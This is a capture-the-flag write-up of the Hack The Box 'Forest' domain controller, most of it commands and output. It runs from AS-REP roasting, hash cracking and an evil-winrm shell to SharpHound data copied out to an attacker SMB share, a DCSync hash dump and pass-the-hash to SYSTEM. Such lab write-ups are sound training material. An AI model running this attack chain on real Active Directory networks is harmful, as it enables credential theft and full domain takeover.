[HTB] Forest Writeup
Enumeration⌗
Nmap Scan
> nmap -sCV -v 10.10.10.161
PORT STATE SERVICE VERSION
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2024-04-05 18:32:50Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
445/tcp open Eicrosof Windows Server 2016 Standard 14393 microsoft-ds (workgroup: HTB)
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
Service Info: Host: FOREST; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: 2h26m51s, deviation: 4h02m31s, median: 6m49s
| smb-os-discovery:
| OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3)
| Computer name: FOREST
| NetBIOS computer name: FOREST\x00
| Domain name: htb.local
| Forest name: htb.local
| FQDN: FOREST.htb.local
|_ System time: 2024-04-05T11:33:13-07:00
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: required
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
| smb2-time:
| date: 2024-04-05T18:33:11
|_ start_date: 2024-04-04T18:28:35
We can observe that the host is a Domain Controller for the domain htb.local
and its FQDN is FOREST.htb.local
.
Let’s use ldapsearch
and check for anonymous login using -x
> ldapsearch -H ldap://10.10.10.161 -x -s base namingcontexts
# extended LDIF
#
# LDAPv3
# base <> (default) with scope baseObject
# filter: (objectclass=*)
# requesting: namingcontexts
#
#
dn:
namingContexts: DC=htb,DC=local
namingContexts: CN=Configuration,DC=htb,DC=local
namingContexts: CN=Schema,CN=Configuration,DC=htb,DC=local
namingContexts: DC=DomainDnsZones,DC=htb,DC=local
namingContexts: DC=ForestDnsZones,DC=htb,DC=local
# search result
search: 2
result: 0 Success
# numResponses: 2
# numEntries: 1
Specify the basedn using -b
where dn is DC=htb,DC=local
and query for users.
> ldapsearch -H ldap://10.10.16.161 -x -b "DC=htb,DC=local" '(objectClass=user)' | grep 'sAMAccountName'
sAMAccountName: Guest
sAMAccountName: DefaultAccount
sAMAccountName: FOREST$
sAMAccountName: EXCH01$
sAMAccountName: $331000-VK4ADACQNUCA
sAMAccountName: SM_2c8eef0a09b545acb
sAMAccountName: SM_ca8c2ed5bdab4dc9b
sAMAccountName: SM_75a538d3025e4db9a
sAMAccountName: SM_681f53d4942840e18
sAMAccountName: SM_1b41c9286325456bb
sAMAccountName: SM_9b69f1b9d2cc45549
sAMAccountName: SM_7c96b981967141ebb
sAMAccountName: SM_c75ee099d0a64c91b
sAMAccountName: SM_1ffab36a2f5f479cb
sAMAccountName: HealthMailboxc3d7722
sAMAccountName: HealthMailboxfc9daad
sAMAccountName: HealthMailboxc0a90c9
sAMAccountName: HealthMailbox670628e
sAMAccountName: HealthMailbox968e74d
sAMAccountName: HealthMailbox6ded678
sAMAccountName: HealthMailbox83d6781
sAMAccountName: HealthMailboxfd87238
sAMAccountName: HealthMailboxb01ac64
sAMAccountName: HealthMailbox7108a4e
sAMAccountName: HealthMailbox0659cc1
sAMAccountName: sebastien
sAMAccountName: lucinda
sAMAccountName: andy
sAMAccountName: mark
sAMAccountName: santi
We can filter the return results to include only user accounts, exclude system accounts. users.txt
sebastien
lucinda
andy
mark
santi
We can also use rpcclient
with anonymous login to check for domain users.
> rpcclient -U '' -N 10.10.10.161
rpcclient $> enumdomusers
user:[Administrator] rid:[0x1f4]
user:[Guest] rid:[0x1f5]
user:[krbtgt] rid:[0x1f6]
user:[DefaultAccount] rid:[0x1f7]
user:[$331000-VK4ADACQNUCA] rid:[0x463]
user:[SM_2c8eef0a09b545acb] rid:[0x464]
user:[SM_ca8c2ed5bdab4dc9b] rid:[0x465]
user:[SM_75a538d3025e4db9a] rid:[0x466]
user:[SM_681f53d4942840e18] rid:[0x467]
user:[SM_1b41c9286325456bb] rid:[0x468]
user:[SM_9b69f1b9d2cc45549] rid:[0x469]
user:[SM_7c96b981967141ebb] rid:[0x46a]
user:[SM_c75ee099d0a64c91b] rid:[0x46b]
user:[SM_1ffab36a2f5f479cb] rid:[0x46c]
user:[HealthMailboxc3d7722] rid:[0x46e]
user:[HealthMailboxfc9daad] rid:[0x46f]
user:[HealthMailboxc0a90c9] rid:[0x470]
user:[HealthMailbox670628e] rid:[0x471]
user:[HealthMailbox968e74d] rid:[0x472]
user:[HealthMailbox6ded678] rid:[0x473]
user:[HealthMailbox83d6781] rid:[0x474]
user:[HealthMailboxfd87238] rid:[0x475]
user:[HealthMailboxb01ac64] rid:[0x476]
user:[HealthMailbox7108a4e] rid:[0x477]
user:[HealthMailbox0659cc1] rid:[0x478]
user:[sebastien] rid:[0x479]
user:[lucinda] rid:[0x47a]
user:[svc-alfresco] rid:[0x47b]
user:[andy] rid:[0x47e]
user:[mark] rid:[0x47f]
user:[santi] rid:[0x480]
rpcclient $>
We discover a new user svc-alfresco
which is a service account. Add it to the users.txt
.
We can use netexec
to check for password policy.
> netexec smb 10.10.10.161 -u '' -p '' --pass-pol
[*] Windows Server 2016 Standard 14393 x64 (name:FOREST) (domain:htb.local) (signing:True) (SMBv1:True)
[+] htb.local\:
[+] Dumping password info for domain: HTB
Minimum password length: 7
Password history length: 24
Maximum password age: Not Set
Password Complexity Flags: 000000
Domain Refuse Password Change: 0
Domain Password Store Cleartext: 0
Domain Password Lockout Admins: 0
Domain Password No Clear Change: 0
Domain Password No Anon Change: 0
Domain Password Complex: 0
Minimum password age: 1 day 4 minutes
Reset Account Lockout Counter: 30 minutes
Locked Account Duration: 30 minutes
Account Lockout Threshold: None
Forced Log off Time: Not Set
Let’s use impacket
tools to check for AS-REP Roasting.
Users that does not require Kerberos Pre-Authentication.
Format it for hashcat with crack it.
> hashcat -m 18200 hash.txt rockyou.txt
$krb5asrep$23$svc-alfresco@HTB.LOCAL:8ccb40975d4a40d9363ed4171bb5ccae$004bd89de5498ec52e3537dd97d4f8ce7a0712cb2a6ea8c35783da1e27e3dbecad9f586d4312cfaea7de3ce8844b787d9a7e2cbe972b6d1d83e0c6506fb144e6fd4100ae7363d2922bac4516922b1a547cfce22ab9d7279687eceb2e11c19e10e82561c3a842775c07212e152edc4436e4f1551aa19fa35cc9b8a128d362d77fe20b786645cf3d7aea414cfaf4f1412c0e45957c13948a0a26449241ffaf015e77385dbe1a2a158b61e6b09c7cef276272bbb3f9e269dfb126313fb4803811693aa0304e8d696e3b6113023fdf9985619409a9ba26478f82c7d82292ee27e3e84ede1069178c:s3rvice
Enumerating all ports in nmap; port 5985 which is winrm is open.
Connect to the port using evil-winrm
.
> evil-winrm -i 10.10.10.161 -u svc-alfresco -p s3rvice
Next we upload SharpHound.exe
and enumerate the DC server.
evil-winrm > upload SharpHound.exe SharpHound.exe
evil-winrm > .\SharpHound.exe -c all
Start a smb server on your host.
> sudo python3 /usr/share/doc/python3-impacket/examples/smbserver.py host .
Copy to smbserver.
evil-winrm > copy 2024_BloodHound.zip \\yourip\host\
Open the file inside bloodhound, and search for svc-alfresco
our owned user.
Right click on the user and mark the user as owned.
Go to analysis tab and select shortest path from owned principals to see our escalation path.
Graph showing memberships of groups.
We can see that svc-alfresco
is a member of Service Accounts
which is a member of Privilege IT Accounts
, which is a member of Account Operators
.
Account operators have generic all
permissions on exchange
and which inturn have DACL
on the domain.
Mid-way through the I have change my bloodhound to the newer update community edition. The picture below shows our attack path to escalate our privilege on the domain.
- Account operators grants its members the ability to create an account.
- The account operators group has
GenericAll
permissions onExhange Windows Permission Groups
. This gives members full control of the group and therefore allows members to directly modify group membership and add to it. - The Exchange Windows Permission group has
WriteDacl
permission on the domainHTB.LOCAL
which allows abuse ofDcSync
and dump all password hashes.
Steps⌗
- Create a user on the domain. Privilege from
Account Operator
. - Add user to
Exchange Windows Permissions
. 1. - Give the user permission
WriteDacl
. - Perform DcSync attack and dump hashes.
- Pass the Hash to get to administrator account.
Creating account
evil-winrm > net user ngaihte Password123 /add /domain
Adding user to Exchange Windows Permissions
evil-winrm > net group "Exchange Windows Permissions" /add ngaihte
Import PowerView and give user DCSync Privileges
evil-winrm > Import-Module .\PowerView.ps1
evil-winrm > $pass = convertto-securestring 'Password123' -AsPlainText -Force
evil-winrm > $cred = New-Object System.Management.Automation.PSCredential('htb\ngaihte', $pass)
evil-winrm > Add-DomainObjectAcl -Credential $cred -TargetIdentity "DC=htb,DC=local" -PrincipalIdentity ngaihte -Rights DCSync
Use Impacket secretsdump.py to dump hashes
> secretsdump.py ngaihte:Password123@10.10.10.161 > dumps.txt
Use Impacket psexec.py to perform pass the hash with administrator account
> psexec.py administrator@10.10.10.161 -hashes hash
C:\Windows\system32> whoami
nt authority\system